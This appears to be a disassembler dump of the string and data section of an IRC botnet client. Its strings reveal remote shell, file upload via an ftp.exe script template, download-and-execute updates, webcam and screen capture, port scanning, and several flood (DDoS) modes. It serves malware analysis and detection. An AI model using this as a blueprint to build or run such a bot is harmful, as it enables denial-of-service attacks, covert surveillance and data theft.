aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B5C	db  2Dh	; -		; DATA XREF: sub_401ACD+7EEDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429B7C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E63o
		align 10h
unk_429BD0	db  2Dh	; -		; DATA XREF: sub_401ACD+7E25o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E13o
					; sub_401ACD+7E7Ao
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFCo
		align 10h
asc_429C50:				; DATA XREF: sub_401ACD+7DCCo
		unicode	0, <~>,0
unk_429C54	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_429C78	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_429CA0	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CE8	db  2Dh	; -		; DATA XREF: sub_401ACD+7C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429D0C	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Bo
		dd 2E732520h, 0
unk_429D4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409685o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D78	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB1o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D9C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7B26o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Co
unk_429DF0	db  2Dh	; -		; DATA XREF: sub_401ACD+79FFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E3C	db  2Dh	; -		; DATA XREF: sub_401ACD+79DCo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E5C	db  2Dh	; -		; DATA XREF: sub_401ACD+79B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409468o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD+796Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429ECC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7926o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409399o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F4C	db  2Dh	; -		; DATA XREF: sub_401ACD+78C5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F70	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7885o
		dd 27732527h, 2Eh
unk_429F8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7803o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429FB0	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7786o
		dd 0
unk_429FC8	db  2Dh	; -		; DATA XREF: sub_401ACD+7755o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42A008	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E6o
		dd 2Eh
dword_42A020	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_409140o
		dd 746E6573h, 2Eh
unk_42A03C	db  2Dh	; -		; DATA XREF: sub_401ACD+766Co
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A05C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+7630o
		dd 732520h
unk_42A074	db  2Dh	; -		; DATA XREF: sub_401ACD+7611o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A0A0:				; DATA XREF: sub_401ACD+75F9o
					; sub_40F6B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+75CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A0C8	db  2Dh	; -		; DATA XREF: sub_401ACD+75C2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A12C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409015o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A16C	db  2Dh	; -		; DATA XREF: sub_401ACD+753Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F87o
		align 10h
unk_42A1A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F74o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42A20C	db  2Dh	; -		; DATA XREF: sub_401ACD+7490o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE6o
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+740Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42A268	db  2Dh	; -		; DATA XREF: sub_401ACD+73D9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A298	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E46o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A2D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A304	db  2Dh	; -		; DATA XREF: sub_401ACD+7362o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFEo
		align 4
dword_42A338	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7319o
		dd 2E732520h, 0
unk_42A354	db  2Dh	; -		; DATA XREF: sub_401ACD+72D3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A384	db  2Dh	; -		; DATA XREF: sub_401ACD+72B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42A3AC	db  2Dh	; -		; DATA XREF: sub_401ACD+720Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+71D6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7181o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A408	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Fo
dword_42A41C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
					; sub_401ACD+7C48o
unk_42A428	db  2Dh	; -		; DATA XREF: sub_401ACD+70B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Fo
		align 10h
dword_42A450	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7074o
		dd 25203A29h, 73h
dword_42A46C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7005o
		dd 203A2973h, 7325h
dword_42A488	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FAAo
dword_42A490	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F7Ao
		dd 203A2973h, 7325h
dword_42A4AC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4B8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECFo
					; sub_401ACD+6F58o ...
dword_42A4C0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E96o
dword_42A4C8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E85o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A504	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E16o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A530	db  2Dh	; -		; DATA XREF: sub_401ACD+6D86o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A5D4	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Eo
		dd 7325h
dword_42A5EC	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408674o
dword_42A600	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B63o
					; sub_401ACD+6C15o ...
dword_42A610	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A658	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AFAo
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A694	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Bo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E3o
		align 4
dword_42A6CC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6981o
		dd 7325203Ah, 0
unk_42A6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6976o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+68DCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+6866o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A778	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Co
					; sub_401ACD:loc_409367o
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401ACD+678Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A7A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408235o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A7E0	db  2Dh	; -		; DATA XREF: sub_401ACD+675Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A818	db  2Dh	; -		; DATA XREF: sub_401ACD+66EEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A844	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Bo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A880	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FCo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A8B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6583o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6514o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A918	db  2Dh	; -		; DATA XREF: sub_401ACD+648Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A950	db  2Dh	; -		; DATA XREF: sub_401ACD+641Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A980	db  2Dh	; -		; DATA XREF: sub_401ACD+63A2o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A9B8	db  2Dh	; -		; DATA XREF: sub_401ACD+6333o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9F4	db  2Dh	; -		; DATA XREF: sub_401ACD+62BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AA34	db  2Dh	; -		; DATA XREF: sub_401ACD+624Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA60	db  2Dh	; -		; DATA XREF: sub_401ACD+617Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AAA4	db  2Dh	; -		; DATA XREF: sub_401ACD+610Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6010o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F64o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E87o
		align 4
dword_42AB3C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF3o
					; sub_401ACD+715Bo
unk_42AB48	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB84	db  2Dh	; -		; DATA XREF: sub_401ACD+5D20o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42ABD4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C89o
					; sub_401ACD+607Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC74	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42ACA8	db  2Dh	; -		; DATA XREF: sub_401ACD+5A47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42ACDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5920o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5907o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58F0o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A9o
					; ___:00411C62o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5898o
		align 4
unk_42AD7C	db  2Dh	; -		; DATA XREF: sub_401ACD+584Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Bo
		align 4
unk_42ADA4	db  2Dh	; -		; DATA XREF: sub_401ACD+57F5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADE4	db  2Dh	; -		; DATA XREF: sub_401ACD+5798o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+572Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+567Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42AE98	db  2Dh	; -		; DATA XREF: sub_401ACD+5648o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: sub_401ACD+5624o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AF04	db  2Dh	; -		; DATA XREF: sub_401ACD+5582o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
		align 4
unk_42AF58	db  2Dh	; -		; DATA XREF: sub_401ACD+5550o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AF90	db  2Dh	; -		; DATA XREF: sub_401ACD+54E1o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AFD8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406F00o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42B010	db  2Dh	; -		; DATA XREF: sub_401ACD+5429o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
